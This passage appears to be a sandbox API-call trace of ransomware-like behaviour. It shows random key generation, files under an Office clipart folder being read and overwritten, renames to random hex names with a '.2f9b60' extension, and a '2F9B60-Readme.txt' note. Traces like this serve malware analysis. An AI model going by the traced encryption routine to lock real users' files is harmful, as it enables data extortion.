0x4a098eba [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x5a4796ee [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x46cb1da9 [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x664cbf1f [0106.972] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x74987cdb [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x22ee5dc5 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x6e1b8450 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x349b8c77 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x38e5de28 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x352e4890 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x7369902a [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x584d0cd1 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x508365b6 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0xd291feb [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x38b71b5b [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x43c7e029 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x60a81a6e [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x1f43bfa6 [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x42bee59c [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x3418a81f [0106.973] RtlRandomEx (in: Seed=0x2cf9f550 | out: Seed=0x2cf9f550) returned 0x795316ff [0106.987] ReadFile (in: hFile=0x154c, lpBuffer=0x41f35950, nNumberOfBytesToRead=0xfe2, lpNumberOfBytesRead=0x2cf9f550, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesRead=0x2cf9f550*=0xfe2, lpOverlapped=0x0) returned 1 [0106.987] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.987] WriteFile (in: hFile=0x154c, lpBuffer=0x41f4c1b0*, nNumberOfBytesToWrite=0xfe2, lpNumberOfBytesWritten=0x2cf9f554, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesWritten=0x2cf9f554*=0xfe2, lpOverlapped=0x0) returned 1 [0107.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0107.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab40 [0107.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab40) returned 1 [0107.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0107.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0107.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0107.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0107.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82ab40 [0107.132] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.132] WriteFile (in: hFile=0x154c, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2cf9f670, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x2cf9f670*=0x10a, lpOverlapped=0x0) returned 1 [0107.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0107.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0107.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0107.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0107.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0107.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0107.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d70) returned 1 [0107.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0107.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0107.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.147] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="82") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="32") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="a4") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="bd") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="d9") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="36") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="3c") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="7a") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="a2") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="d2") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="a8") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="c0") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="44") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="7e") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="c9") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="3f") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="85") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="0b") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="44") returned 2 [0107.147] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="58") returned 2 [0107.148] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="c5") returned 2 [0107.148] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="4c") returned 2 [0107.148] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="f9") returned 2 [0107.148] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="6a") returned 2 [0107.148] RtlInitAnsiString (in: DestinationString=0x2cf9f6e8, SourceString="8232a4bdd9363c7aa2d2a8c0447ec93f850b4458c54cf96a" | out: DestinationString="8232a4bdd9363c7aa2d2a8c0447ec93f850b4458c54cf96a") [0107.148] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cf9f6b8, SourceString="8232a4bdd9363c7aa2d2a8c0447ec93f850b4458c54cf96a", AllocateDestinationString=1 | out: DestinationString="8232a4bdd9363c7aa2d2a8c0447ec93f850b4458c54cf96a") returned 0x0 [0107.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863b20 [0107.148] wcscat (in: _Dest=0x4205dd70, _Source="8232a4bdd936" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8232a4bdd936") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8232a4bdd936" [0107.148] wcscat (in: _Dest=0x4205dd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8232a4bdd936.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8232a4bdd936.2f9b60" [0107.148] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8232a4bdd936.2f9b60", NtPathName=0x2cf9f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8232a4bdd936.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202798b0 [0107.148] NtSetInformationFile (FileHandle=0x154c, IoStatusBlock=0x2cf9f730, FileInformation=0x202798b0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202798b0) returned 1 [0109.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506810) returned 1 [0109.506] NtQueryInformationFile (in: FileHandle=0x154c, IoStatusBlock=0x2cf9f6f8, FileInformation=0x2cf9f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cf9f6f8, FileInformation=0x2cf9f708) returned 0x0 [0109.506] NtSetInformationFile (FileHandle=0x154c, IoStatusBlock=0x2cf9f6f8, FileInformation=0x2cf9f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0109.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863b20) returned 1 [0109.509] FlushFileBuffers (hFile=0x154c) returned 1 [0109.514] CloseHandle (hObject=0x154c) returned 1 [0109.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d050 [0109.520] wcscpy (in: _Dest=0x4205d050, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.520] wcscat (in: _Dest=0x4205d050, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d050) returned 1 [0109.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ca80) returned 1 Thread: id = 723 os_tid = 0x1230 [0096.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0106.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF", dwFileAttributes=0x20) returned 1 [0106.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1598 [0106.649] GetFileSizeEx (in: hFile=0x1598, lpFileSize=0x2d22fa80 | out: lpFileSize=0x2d22fa80*=24320) returned 1 [0106.649] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x5efc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.649] ReadFile (in: hFile=0x1598, lpBuffer=0x2d22fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d22fa48, lpOverlapped=0x0 | out: lpBuffer=0x2d22fa00*, lpNumberOfBytesRead=0x2d22fa48*=0x4, lpOverlapped=0x0) returned 1 [0106.660] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.661] NtQuerySystemTime (in: CurrentTime=0x2d22f940 | out: CurrentTime=0x2d22f940*=132462177121558000) returned 0x0 [0106.661] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x3d92c7c1 [0106.661] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x6d0645d2 [0106.661] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x7921e83a [0106.661] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x207a362f [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x59276131 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x4f62f96e [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x3e912112 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x56ba0e05 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x44511785 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x52908fd9 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x1479b0b3 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x761f2275 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x105b4d78 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x42427cc1 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x3dbda081 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x3d3d1641 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x3538c7ba [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x31d5e276 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0xeee76c7 [0106.662] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x5cd48001 [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x54f4aec0 [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x747b12eb [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x7f67a13a [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x52198071 [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x7cf2062a [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x2fb595c5 [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x780f3246 [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x5ca3369b [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x6d1d6a3d [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0xb43f4e4 [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x782861c4 [0106.663] RtlRandomEx (in: Seed=0x2d22f930 | out: Seed=0x2d22f930) returned 0x75314974 [0106.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0106.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0106.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0106.678] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.678] ReadFile (in: hFile=0x1598, lpBuffer=0x41e9f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d22f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesRead=0x2d22f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.690] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ebd170 [0106.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0106.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0106.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.691] WriteFile (in: hFile=0x1598, lpBuffer=0x41ebd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d22f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41ebd170*, lpNumberOfBytesWritten=0x2d22f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ebd170) returned 1 [0106.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0106.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7740 [0106.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0106.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0106.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced77d0 [0106.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0106.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.718] SetFilePointerEx (in: hFile=0x1598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.718] WriteFile (in: hFile=0x1598, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d22fa50, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2d22fa50*=0x10a, lpOverlapped=0x0) returned 1 [0106.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0106.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0106.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.764] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="54") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="4d") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="3f") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="f6") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="17") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="d0") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="4b") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="d0") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="f0") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="24") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="02") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="7b") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="e7") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="f4") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="1a") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="71") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="28") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="60") returned 2 [0106.764] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="a5") returned 2 [0106.765] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="a7") returned 2 [0106.765] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="2c") returned 2 [0106.765] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="37") returned 2 [0106.765] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="d0") returned 2 [0106.765] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="eb") returned 2 [0106.765] RtlInitAnsiString (in: DestinationString=0x2d22fac8, SourceString="544d3ff617d04bd0f024027be7f41a712860a5a72c37d0eb" | out: DestinationString="544d3ff617d04bd0f024027be7f41a712860a5a72c37d0eb") [0106.765] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d22fa98, SourceString="544d3ff617d04bd0f024027be7f41a712860a5a72c37d0eb", AllocateDestinationString=1 | out: DestinationString="544d3ff617d04bd0f024027be7f41a712860a5a72c37d0eb") returned 0x0 [0106.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5d30 [0106.765] RtlFreeAnsiString (AnsiString="5") [0106.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0106.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0106.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7740) returned 1 [0106.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0106.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ffff0 [0106.766] wcscat (in: _Dest=0x204ffff0, _Source="544d3ff617d0" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\544d3ff617d0") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\544d3ff617d0" [0106.766] wcscat (in: _Dest=0x204ffff0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\544d3ff617d0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\544d3ff617d0.2f9b60" [0106.767] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\544d3ff617d0.2f9b60", NtPathName=0x2d22fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\544d3ff617d0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279130 [0106.767] NtSetInformationFile (FileHandle=0x1598, 